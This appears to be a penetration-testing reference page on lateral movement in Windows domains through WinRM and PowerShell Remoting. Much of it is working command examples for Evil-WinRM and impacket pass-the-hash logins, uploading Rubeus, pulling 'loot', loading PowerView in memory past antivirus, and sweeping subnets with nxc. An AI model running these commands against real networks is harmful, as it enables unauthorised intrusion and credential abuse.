# WinRM and PowerShell Remoting Lateral Movement

> Exploiting WinRM and PowerShell Remoting to move laterally across Windows environments using Enter-PSSession, Invoke-Command, and evil-winrm.

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/winrm-and-powershell-remoting
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

WinRM (Windows Remote Management) runs on port 5985 (HTTP) and 5986 (HTTPS). It is the native Windows remoting protocol, enabled by default on Windows Server 2012 and later. Any host where PowerShell Remoting is configured will also have it active. Access requirements:

- The account must be in the local `Administrators` group or `Remote Management Users` group
- Domain accounts that are local admins on the target qualify
- Standard domain users do not get WinRM access by default, even if they can RDP

## Evil-WinRM: interactive shell from Linux

Evil-WinRM is the standard tool for WinRM-based lateral movement from a Linux attack box. It opens a full interactive PowerShell session on the target. The session supports file upload, download, and in-memory script loading. The shell drops you directly into a PowerShell prompt on the remote host.

Use `-H` with the NT hash for pass-the-hash without cracking credentials. The LM portion is not required by Evil-WinRM. Pass `-S` to connect over SSL on port 5986. Certificate validation is skipped by default, so self-signed certs on the target are not a problem.

In-memory script loading with `-s` points to a local directory on your attack box. Any `.ps1` file in that directory becomes callable by name inside the session. No file is written to disk on the target. This bypasses many AV products that monitor file creation in staging directories. After connecting, type the script filename to load it into the session.

**Evil-WinRM connection**

```bash
# With password
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

# With NTLM hash (Pass-the-Hash)
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH

# With domain
evil-winrm -i $TARGET_IP -u $DOMAIN\\$USER -p $PASSWORD

# With SSL (port 5986)
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -S
# Evil-WinRM shell v3.5
# Info: Establishing connection to remote endpoint
# *Evil-WinRM* PS C:\Users\user\Documents>
```

**Evil-WinRM file transfer and script loading**

```bash
# Upload file to target
*Evil-WinRM* PS> upload /home/kali/tools/Rubeus.exe C:\Windows\Temp\Rubeus.exe

# Download file from target
*Evil-WinRM* PS> download C:\Windows\Temp\loot.zip /home/kali/loot.zip

# Load PowerShell script into memory (no disk write)
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -s /home/kali/scripts/
*Evil-WinRM* PS> PowerView.ps1
*Evil-WinRM* PS> Get-DomainUser
```

## PowerShell Remoting from Windows

From a Windows foothold, native PowerShell remoting gives you interactive sessions and multi-host command execution. Use `Enter-PSSession` when you need interactive exploration of a single host. Use `Invoke-Command` to run a fixed script or command and collect output. It scales to multiple targets in a single call.

When running against multiple hosts, each output object carries a `PSComputerName` property. This lets you identify which host returned each result. If one host is unreachable or rejects authentication, PowerShell raises a non-terminating error for that host. It then continues with the rest. Check `$Error` after the call to see which hosts failed.

**Native PowerShell Remoting**

```powershell
# Interactive session
$cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
Enter-PSSession -ComputerName $TARGET_IP -Credential $cred

# Run command remotely without interactive session
Invoke-Command -ComputerName $TARGET_IP -Credential $cred -ScriptBlock {whoami; hostname; ipconfig}

# Run script file on remote host
Invoke-Command -ComputerName $TARGET_IP -Credential $cred -FilePath C:\Windows\Temp\script.ps1

# Run against multiple hosts simultaneously
Invoke-Command -ComputerName $TARGET_IP, 192.168.1.20, 192.168.1.30 -Credential $cred -ScriptBlock {whoami}
```

## Checking WinRM access before connecting

Before attempting a full connection, verify that WinRM is reachable and that your credentials are accepted. `nxc winrm` is the fastest method. A result ending in `(Pwn3d!)` means the account is a local administrator on the target. You will land an administrative shell. A `[+]` without `Pwn3d!` means the credentials are valid but the account is only in `Remote Management Users`. A `[-]` means the credentials are wrong or the account has no WinRM access at all.

Subnet scanning with nxc finds every WinRM-enabled host across a range. This is useful after credential recovery to discover where those credentials work laterally. Keep in mind that a broad sweep generates significant network noise and may trigger IDS alerts.

**Verify WinRM access**

```bash
# Check if WinRM port is open
nxc winrm $TARGET_IP -u $USER -p $PASSWORD
nxc winrm $TARGET_IP -u $USER -H $NTHASH

# Scan subnet for WinRM
nxc winrm 192.168.1.0/24 -u $USER -p $PASSWORD

# Port check
nmap -p 5985,5986 $TARGET_IP
# WINRM  192.168.1.10  5985  WIN-TARGET  [+] domain\user:password (Pwn3d!)
```

## Impacket WinRM

Use `impacket-winrm` when Evil-WinRM is unavailable or fails to connect. It provides a similar interactive shell. For pass-the-hash, supply the full LM:NT hash string. If you only have the NT hash, use `aad3b435b51404eeaad3b435b51404ee` as the LM placeholder. The two halves are colon-separated. The shell is less feature-rich than Evil-WinRM and does not support in-memory script loading or built-in file transfer.

**impacket-winrm**

```bash
# Interactive shell via impacket
impacket-winrm $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-winrm $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
```

WinRM sessions run as the authenticated user, not SYSTEM. If you need SYSTEM on the remote host, escalate after connecting. Use the techniques in [Windows Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation). For SMB-based lateral movement when WinRM is not available, see [PsExec and SMB Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement/psexec-and-smb-lateral-movement).

If the connection is refused on ports 5985 and 5986, WinRM may not be enabled. A firewall may also be blocking access. Confirm the port is open with nmap before assuming a credentials problem. If the port is open but authentication fails, check whether the account is disabled or the password has changed. Also check if the target enforces Kerberos-only authentication. Evil-WinRM uses NTLM by default. Kerberos-only environments reject the connection at the authentication stage.

## References

- [Evil-WinRM: GitHub](https://github.com/Hackplayers/evil-winrm) - Full feature list including script loading and file transfer
- [Windows Remote Management: Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/winrm/portal) - WinRM protocol documentation and configuration reference
